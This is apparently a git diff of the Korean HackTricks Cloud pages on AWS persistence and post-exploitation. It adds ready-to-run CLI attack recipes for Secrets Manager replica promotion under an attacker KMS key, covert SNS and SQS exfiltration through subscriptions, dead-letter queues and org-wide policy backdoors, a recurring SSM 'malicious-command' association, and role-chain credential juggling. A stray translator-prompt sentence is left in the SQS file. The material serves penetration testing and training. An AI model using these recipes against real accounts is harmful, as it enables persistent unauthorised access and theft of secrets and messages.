+ +- 참고 +- `--client-request-token`을 제공하면 Secrets Manager는 이를 `VersionId`로 사용합니다. `--version-stages`를 명시적으로 설정하지 않고 새 버전을 추가하면 기본적으로 `AWSCURRENT`가 새 버전으로 이동하고 이전 버전은 `AWSPREVIOUS`로 표시됩니다. + + +### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy) + +Secrets Manager의 multi-Region replication을 악용하여 대상 secret의 replica를 감시가 덜한 Region으로 생성하고, 해당 Region에서 attacker-controlled KMS 키로 암호화한 다음, 그 replica를 standalone secret으로 승격시켜 permissive resource policy를 연결해 attacker에게 읽기 권한을 부여합니다. 원래 primary Region의 secret은 변경되지 않으므로, promoted replica를 통해 secret 값에 지속적이고 은밀한 접근을 확보할 수 있으며 primary의 KMS/policy 제약을 우회합니다. + +- 요구사항 +- 권한: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`. +- replica Region에서: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (또는 `kms:PutKeyPolicy`)로 attacker principal이 `kms:Decrypt`를 수행할 수 있도록 허용. +- promoted secret에 대한 읽기 액세스를 받을 attacker principal(user/role). + +- 영향 +- attacker-controlled KMS CMK 및 permissive resource policy 하의 standalone replica를 통해 secret 값에 대한 영구적인 cross-Region 접근 경로가 생성됩니다. 원래 Region의 primary secret은 변경되지 않습니다. + +- Attack (CLI) +- Vars +```bash +export R1= # e.g., us-east-1 +export R2= # e.g., us-west-2 +export SECRET_ID= +export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) +export ATTACKER_ARN=:user/ or role> +``` +1) replica Region에 공격자가 제어하는 KMS 키를 생성 +```bash +cat > /tmp/kms_policy.json <<'JSON' +{"Version":"2012-10-17","Statement":[ +{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"} +]} +JSON +KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \ +--query KeyMetadata.KeyId --output text) +aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID" +# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal) +aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey +``` +2) attacker KMS key를 사용해 secret을 R2로 복제 +```bash +aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \ +--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret +aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus' +``` +3) R2에서 복제본을 독립 인스턴스로 승격 +```bash +# Use the secret name (same across Regions) +NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text) +aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME" +aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME" +``` +4) R2에 있는 독립형 secret에 관대한 리소스 정책을 적용하세요. +```bash +cat > /tmp/replica_policy.json < \ ---protocol http \ ---notification-endpoint http:/// \ ---topic-arn -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md new file mode 100644 index 000000000..7f002984c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md @@ -0,0 +1,113 @@ +# AWS - SNS 영속성 + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### 영속성 + +**SNS topic**을 생성할 때 IAM policy로 **누가 읽기 및 쓰기 권한이 있는지**를 지정해야 합니다. 외부 계정, 역할의 ARN, 또는 **심지어 "\*"**를 지정할 수 있습니다.\ +다음 정책은 AWS의 모든 사용자에게 **`MySNS.fifo`**라는 SNS topic에 대한 읽기 및 쓰기 권한을 부여합니다: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__default_statement_ID", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"SNS:Publish", +"SNS:RemovePermission", +"SNS:SetTopicAttributes", +"SNS:DeleteTopic", +"SNS:ListSubscriptionsByTopic", +"SNS:GetTopicAttributes", +"SNS:AddPermission", +"SNS:Subscribe" +], +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo", +"Condition": { +"StringEquals": { +"AWS:SourceOwner": "318142138553" +} +} +}, +{ +"Sid": "__console_pub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Publish", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +}, +{ +"Sid": "__console_sub_0", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": "SNS:Subscribe", +"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo" +} +] +} +``` +### 구독자 생성 + +모든 토픽의 모든 메시지를 계속 유출하려면 공격자는 **모든 토픽에 대한 구독자를 생성할 수 있습니다**. + +참고로 **토픽이 FIFO 유형인 경우**, 프로토콜로 **SQS**를 사용하는 구독자만 사용할 수 있습니다. +```bash +aws sns subscribe --region \ +--protocol http \ +--notification-endpoint http:/// \ +--topic-arn +``` +### 은밀한, 선택적 exfiltration via FilterPolicy on MessageBody + +주제에 대해 `sns:Subscribe` 및 `sns:SetSubscriptionAttributes` 권한을 가진 공격자는 JSON 본문이 매우 좁은 필터(예: `{"secret":"true"}`)와 일치하는 경우에만 메시지를 전달하는 은밀한 SQS 구독을 생성할 수 있습니다. 이렇게 하면 전송량과 탐지 가능성을 줄이면서도 민감한 레코드를 exfiltrate할 수 있습니다. + +**잠재적 영향**: 피해자 Topic에서 타깃된 SNS 메시지들만 은밀하고 저소음으로 exfiltration될 수 있음. + +단계 (AWS CLI): +- 공격자 SQS 큐 정책이 피해자 `TopicArn`에서 오는 `sqs:SendMessage`를 허용하는지 확인(Condition `aws:SourceArn`가 `TopicArn`과 동일한지). +- 토픽에 대한 SQS 구독 생성: + +```bash +aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN +``` + +- 필터가 메시지 본문에서 동작하도록 설정하고 `secret=true`만 매치하도록 설정: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- 선택적 은밀성: RawMessageDelivery를 활성화하면 수신자에게 원시 페이로드만 전달됩니다: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- 검증: 두 메시지를 게시하고 첫 번째 메시지만 공격자 큐로 배달되는지 확인하세요. 예시 페이로드: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- 정리: persistence 테스트를 위해 생성한 경우 공격자 SQS 큐의 구독을 해지하고 큐를 삭제하세요. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 886f7b0f5..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS 지속성 - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### 리소스 정책 사용 - -SQS에서는 IAM 정책으로 **누가 읽고 쓸 수 있는지** 명시해야 합니다. 외부 계정, 역할의 ARN 또는 **"\*"**를 지정할 수 있습니다.\ -다음 정책은 AWS의 모든 사용자에게 **MyTestQueue**라는 큐의 모든 항목에 대한 접근을 허용합니다: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> 새로운 메시지가 큐에 추가될 때마다 **공격자의 계정에서 Lambda를 트리거할 수 있습니다** (다시 추가해야 할 필요가 있습니다). 이를 위해 다음 지침을 따르십시오: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..bf98ac5c5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS 영속성 + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### 리소스 정책 사용 + +SQS에서는 IAM 정책으로 **누가 읽기 및 쓰기 권한이 있는지**를 지정해야 합니다. 외부 계정, 역할의 ARN, 또는 **심지어 "\*"**를 지정할 수 있습니다.\ +다음 정책은 **MyTestQueue**라는 큐의 모든 항목에 대해 AWS의 모든 사용자에게 액세스 권한을 부여합니다: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> 큐에 새 메시지가 들어올 때마다 **attacker's account에 있는 Lambda를 트리거**할 수도 있습니다(다시 put해야 합니다). 이를 위해 다음 지침을 따르세요: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### 추가 SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..3410b4736 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +SQS Dead-Letter Queues (DLQs)를 악용해 피해자 source queue의 RedrivePolicy를 공격자 제어 큐로 지정함으로써 데이터를 은밀하게 유출할 수 있습니다. 낮은 maxReceiveCount를 설정하고 정상 처리 실패를 유도하거나 대기하면, 프로듀서나 Lambda event source mappings를 변경하지 않고도 메시지가 자동으로 공격자 DLQ로 전환됩니다. + +## 악용되는 권한 +- sqs:SetQueueAttributes on the victim source queue (RedrivePolicy 설정용) +- sqs:SetQueueAttributes on the attacker DLQ (RedriveAllowPolicy 설정용) +- 가속을 위한 선택: sqs:ReceiveMessage on the source queue +- 설정을 위한 선택: sqs:CreateQueue, sqs:SendMessage + +## 동일 계정 흐름 (allowAll) + +준비 (공격자 계정 또는 권한이 탈취된 principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +실행 (피해자 계정에서 손상된 principal로 실행): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +가속(선택 사항): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +파일 내용을 붙여넣어 주세요. 요청하신 규칙(태그·경로·코드 비번역 등)에 따라 영어 본문을 한국어로 번역해 드리겠습니다. +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +예시 증거 (속성에는 DeadLetterQueueSourceArn이 포함됩니다): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Cross-Account Variant (byQueue) +attacker DLQ에서 RedriveAllowPolicy를 설정하여 특정 victim source queue ARNs만 허용하도록 합니다: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Impact +- 은밀하고 영속적인 data exfiltration/persistence: 피해자 SQS 소스 큐의 실패한 메시지를 자동으로 공격자 제어 DLQ로 우회시켜, 운영상 노이즈를 최소화하고 producers나 Lambda 매핑을 변경할 필요 없이 수행됩니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..723a9c58f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +SQS 큐 리소스 정책을 악용하여 조건 aws:PrincipalOrgID를 사용해 대상 AWS Organization에 속한 어떤 principal에게도 Send, Receive 및 ChangeMessageVisibility 권한을 은밀히 부여합니다. 이렇게 하면 org-scoped한 숨겨진 경로가 생성되어 explicit account 또는 role ARNs 혹은 star principals만을 확인하는 제어를 종종 회피합니다. + +### Backdoor policy (attach to the SQS queue policy) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### 단계 +- AWS Organizations API로 Organization ID를 획득합니다. +- SQS queue ARN을 얻고 위의 statement를 포함하는 queue policy를 설정합니다. +- 해당 Organization에 속한 어떤 principal로부터 큐에 메시지를 전송하고 수신하여 접근을 검증합니다. + +### 영향 +- 지정된 AWS Organization의 어떤 계정에서도 SQS 메시지를 읽고 쓰는 Organization-wide 은닉 접근. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index 6079c1d60..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM 지속성 - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### 지속성을 위한 ssm:CreateAssociation 사용 - -**`ssm:CreateAssociation`** 권한이 있는 공격자는 SSM에 의해 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하기 위해 State Manager Association을 생성할 수 있습니다. 이러한 연관은 고정 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이 백도어와 같은 지속성에 적합합니다. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> 이 지속성 방법은 EC2 인스턴스가 Systems Manager에 의해 관리되고, SSM 에이전트가 실행 중이며, 공격자가 연관성을 생성할 수 있는 권한이 있는 한 작동합니다. 대화형 세션이나 명시적인 ssm:SendCommand 권한이 필요하지 않습니다. **중요:** `--schedule-expression` 매개변수(예: `rate(30 minutes)`)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 위해서는 `--schedule-expression`을 완전히 생략하십시오 — 연관성은 생성 후 한 번 실행됩니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..6e5b71ed0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Perssitence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +자세한 정보는 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### ssm:CreateAssociation을 사용한 persistence + +권한 **`ssm:CreateAssociation`** 을 가진 공격자는 SSM으로 관리되는 EC2 인스턴스에서 명령을 자동으로 실행하도록 State Manager Association을 생성할 수 있습니다. 이러한 associations는 고정된 간격으로 실행되도록 구성할 수 있어, 대화형 세션 없이도 backdoor-like persistence에 적합합니다. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> 이 지속성 방법은 EC2 인스턴스가 Systems Manager로 관리되고 SSM agent가 실행 중이며 공격자가 association을 생성할 권한이 있는 경우에 작동합니다. 이 방법은 대화형 세션이나 명시적인 ssm:SendCommand 권한을 필요로 하지 않습니다. **중요:** `--schedule-expression` 파라미터(예: `rate(30 minutes)`)는 AWS의 최소 간격인 30분을 준수해야 합니다. 즉시 또는 일회성 실행을 원하면 `--schedule-expression`을 완전히 생략하세요 — association은 생성 후 한 번 실행됩니다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index 72c25fd11..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Step Functions Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -자세한 정보는 다음을 확인하세요: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Step function Backdooring - -스텝 함수를 백도어하여 지속성 트릭을 수행하게 하여 매번 실행될 때마다 악성 단계를 실행하도록 합니다. - -### Backdooring aliases - -AWS 계정이 스텝 함수를 호출하기 위해 별칭을 사용하는 경우, 별칭을 수정하여 새로운 백도어 버전의 스텝 함수를 사용할 수 있습니다. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..aedc3ea3e --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +자세한 내용은 다음을 확인하세요: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Backdoor a step function을 심어 어떤 persistence trick이라도 수행하게 만들면, 실행될 때마다 악성 단계를 실행하도록 만들 수 있다. + +### Backdooring aliases + +AWS 계정이 step functions를 호출하기 위해 aliases를 사용하고 있다면, alias를 수정하여 step function의 새로운 backdoored 버전을 사용하도록 만들 수 있다. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 65% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index dff88869f..e02323b84 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ # AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -자세한 정보는 다음을 참조하세요: +자세한 내용은 다음을 참고하세요: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} ### Assume role token -임시 토큰은 나열할 수 없으므로, 활성 임시 토큰을 유지하는 것이 지속성을 유지하는 방법입니다. +임시 토큰은 목록으로 확인할 수 없으므로, 활성 임시 토큰을 유지하는 것이 지속성을 확보하는 한 방법입니다.
aws sts get-session-token --duration-seconds 129600
 
-# MFA 사용 시
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호입니다. 예: GAHT12345678
-# SMS 장치 이름은 AWS의 ARN입니다. 예: arn:aws:iam::123456789012:sms-mfa/username
-# 가상 장치 이름은 AWS의 ARN입니다. 예: arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 
### Role Chain Juggling -[**역할 체이닝은 인정된 AWS 기능입니다**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining)로, 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **역할을 가정한 후 다른 역할을 가정하는** 능력을 포함하며, **순환 방식으로** 초기 역할로 되돌아갈 수 있습니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 새로 고쳐집니다. 따라서 두 역할이 서로를 상호 가정하도록 구성되면, 이 설정은 자격 증명의 지속적인 갱신을 허용합니다. +[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **assume a role which then assumes another**, 필요 시 초기 역할로 **cyclical manner** 돌아갈 수 있는 능력을 포함합니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 갱신됩니다. 결과적으로 두 역할이 서로를 상호 assume하도록 구성되면, 이 설정은 자격 증명을 영구적으로 갱신할 수 있게 합니다. -이 [**도구**](https://github.com/hotnops/AWSRoleJuggler/)를 사용하여 역할 체이닝을 계속할 수 있습니다: +role chaining을 계속 유지하려면 이 [**tool**](https://github.com/hotnops/AWSRoleJuggler/)을 사용할 수 있습니다: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,11 +40,11 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 해당 Github 리포지토리에서 역할 체인이 구성될 수 있는 모든 방법을 찾지 못합니다. +> 해당 Github 저장소의 [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 역할 체인이 구성될 수 있는 모든 방법을 찾아내지 못할 수 있습니다.
-PowerShell에서 역할 조작을 수행하는 코드 +PowerShell에서 Role Juggling을 수행하는 코드 ```bash # PowerShell script to check for role juggling possibilities using AWS CLI @@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md similarity index 52% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md index b7bbe3a5b..7630cd406 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -1,34 +1,34 @@ # AWS - API Gateway Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## API Gateway -자세한 정보는 다음을 확인하세요: +For more information check: {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} -### 노출되지 않은 API 접근 +### Access unexposed APIs -[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:)에서 서비스 `com.amazonaws.us-east-1.execute-api`로 엔드포인트를 생성하고, 접근할 수 있는 네트워크(잠재적으로 EC2 머신을 통해)에서 엔드포인트를 노출시키고 모든 연결을 허용하는 보안 그룹을 할당합니다.\ -그런 다음, EC2 머신에서 엔드포인트에 접근할 수 있으며, 따라서 이전에 노출되지 않았던 게이트웨이 API를 호출할 수 있습니다. +서비스 `com.amazonaws.us-east-1.execute-api`로 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:)에 엔드포인트를 생성하고, 접근 가능한 네트워크(잠재적으로 EC2 머신을 통해)에 엔드포인트를 노출한 뒤 모든 연결을 허용하는 보안 그룹을 할당할 수 있습니다.\ +그런 다음 EC2 머신에서 해당 엔드포인트에 접근하여 이전에 노출되지 않았던 gateway API를 호출할 수 있습니다. -### 요청 본문 패스스루 우회 +### Bypass Request body passthrough -이 기술은 [**이 CTF 작성글**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)에서 발견되었습니다. +This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 값 **`WHEN_NO_MATCH`**는 요청의 **Content-Type** 헤더를 확인할 때, 변환 없이 요청을 백엔드로 전달합니다. +As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation. -따라서 CTF에서 API Gateway는 요청이 `Content-Type: application/json`으로 전송될 때 **플래그가 응답으로 유출되는 것을 방지하는** 통합 템플릿을 가지고 있었습니다. +Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -그러나 **`Content-type: text/json`**으로 요청을 